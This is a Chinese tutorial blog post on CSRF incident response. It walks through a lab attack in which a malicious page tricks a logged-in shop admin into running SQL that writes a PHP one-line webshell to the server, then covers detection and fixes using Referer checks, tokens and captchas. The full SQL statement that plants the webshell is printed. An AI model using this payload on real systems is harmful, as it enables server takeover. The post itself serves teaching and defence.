【愚公系列】2024年03月 《网络安全应急管理与技术实践》 014-网络安全应急技术与实践(Web层-CSRF跨站攻击)

举报
愚公搬代码 发表于 2024/03/31 18:37:57 2024/03/31
【摘要】 🏆 作者简介,愚公搬代码🏆《头衔》:华为云特约编辑,华为云云享专家,华为开发者专家,华为产品云测专家,CSDN博客专家,CSDN商业化专家,阿里云专家博主,阿里云签约作者,腾讯云优秀博主,腾讯云内容共创官,掘金优秀博主,51CTO博客专家等。🏆《近期荣誉》:2022年度博客之星TOP2,2023年度博客之星TOP2,2022年华为云十佳博主,2023年华为云十佳博主等。🏆《博客内容...

🏆 作者简介,愚公搬代码
🏆《头衔》:华为云特约编辑,华为云云享专家,华为开发者专家,华为产品云测专家,CSDN博客专家,CSDN商业化专家,阿里云专家博主,阿里云签约作者,腾讯云优秀博主,腾讯云内容共创官,掘金优秀博主,51CTO博客专家等。
🏆《近期荣誉》:2022年度博客之星TOP2,2023年度博客之星TOP2,2022年华为云十佳博主,2023年华为云十佳博主等。
🏆《博客内容》:.NET、Java、Python、Go、Node、前端、IOS、Android、鸿蒙、Linux、物联网、网络安全、大数据、人工智能、U3D游戏、小程序等相关领域知识。
🏆🎉欢迎 👍点赞✍评论⭐收藏

🚀前言

CSRF(跨站请求伪造)是一种网络攻击方式。网站通常通过Cookie来识别用户,一旦用户通过身份验证,浏览器就会得到一个用于标识用户的Cookie。任何带有这个Cookie的操作都被认为是该用户所执行的。黑客可以利用这个Cookie向网站发送请求,网站会认为这是用户发送的请求,从而达到伪造请求的目的。这种攻击方式通常由第三方站点发起,因此称为“跨站”。攻击者可以强迫已登录用户的浏览器发送伪造的HTTP请求,包括用户的会话Cookie和其他认证信息,向存在漏洞的第三方应用程序发送请求,并被应用程序认为是合法的用户请求。

🚀一、CSRF 攻击分析与应急处置

🔎1.攻击脚本准备

在攻击实施前要准备好攻击脚本,如图所示

在这里插入图片描述

sql2shell.htm 文件为头击者的攻击脚本,政击者将该脚本挂载在第三方网站http://www.hacker.com:8080/csrf/google.htm的页面加载过程中,所以,只要该网站的链接被点击并且面被加载,该脚本就会利用管理后台的"SQL查询”功能,自动执行SQL语"select ‘<?php eval($ POST_[C])?>’ into outfile ‘var/www/shop/data/tinydoor.php’ "这祥便会在网站目录下创建一句话木马文件tinydoor.php。因为我们主要是从急角度来分析CSRF攻击的实现过程,所以该脚本的具体程序逻辑在这里不过多解释。

🔎2.添加恶意留言

攻击者登录网址 http://www.ec.com/shop,同之前讲述的钓鱼攻击一样,入诱惑性信息,诱骗管理员点击带有CSRF攻击代码的链接
在这里插入图片描述
管理员登录后台http://www.ec.com/shop/admin 查看留言,如果对该条留所述内容信以为真,点击链接地址就发生了CSRF攻击
在这里插入图片描述
因为该链接地址的目标网站在页面加载时执行了攻击者准备的攻击脚本,由于此时管理员处于登录状态,并且网站没有对新的请求源再次进行身份验证因此管理员在查看链接(http://www.hacker.com:8080/csrf/google.htm)时,打开了攻击者伪造的页面
在这里插入图片描述
该页面加载时触发了攻击代码,即向本网站的服务器指定目录下写入木马文件。该网站后台认为这是管理员的请求,自然会处理该请求,尽管该请求中含有恶意的木马程序,这样攻击者就成功地借用管理员之手,在服务器中植入了木马文件,但是这个攻击过程管理员却是完全不知情的。因此,CSRF攻击可以让用户在不知情的情况下攻击自己已登录的一个系统,其危害不言而喻。

🔎3.一句话木马自动添加成功

本示例是将一句话木马以管理员身份写入网站(www.ec.com)服务器,由于管理员有权限在该目录下创建文件,所以该木马被成功地写入
在这里插入图片描述

🔎4.CSRF 漏洞检测与应急处置

知道了CSRF的攻击机制和原理,检测CSRF漏洞就不难了,最简单的方法就是抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果修改后的测试请求成功被网站服务器接收,那么基本可以确定该服务器存在CSRF漏洞。随着大家对CSRF漏洞研究的不断深入,也出现了一些检测工具,其检测原理同人工检测是一样的。

可见,服务器存在CSRF 漏洞的原因是没有对请求来源做判断和验证,所以,对于CSRF 漏洞的防御和应急处置,可以对HTTP的Referer 字段进行严格的验证或在请求地址中加入随机token或加入验证码机制即可解决。

下面就来看看采用上述方法对CSRF洞进行修补后的效果。将漏洞修补代码 init.php 文件上传到网站发布目录下(/var/www/shop/admin/includes),如图所示
在这里插入图片描述
此时管理员查看留言并单击链接就会跳回登录页面,对该请求者再次进行身份验证,以防止该请求被伪造
在这里插入图片描述
在这里插入图片描述


🚀感谢:给读者的一封信

亲爱的读者,

我在这篇文章中投入了大量的心血和时间,希望为您提供有价值的内容。这篇文章包含了深入的研究和个人经验,我相信这些信息对您非常有帮助。

如果您觉得这篇文章对您有所帮助,我诚恳地请求您考虑赞赏1元钱的支持。这个金额不会对您的财务状况造成负担,但它会对我继续创作高质量的内容产生积极的影响。

我之所以写这篇文章,是因为我热爱分享有用的知识和见解。您的支持将帮助我继续这个使命,也鼓励我花更多的时间和精力创作更多有价值的内容。

如果您愿意支持我的创作,请扫描下面二维码,您的支持将不胜感激。同时,如果您有任何反馈或建议,也欢迎与我分享。

在这里插入图片描述

再次感谢您的阅读和支持!

最诚挚的问候, “愚公搬代码”

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。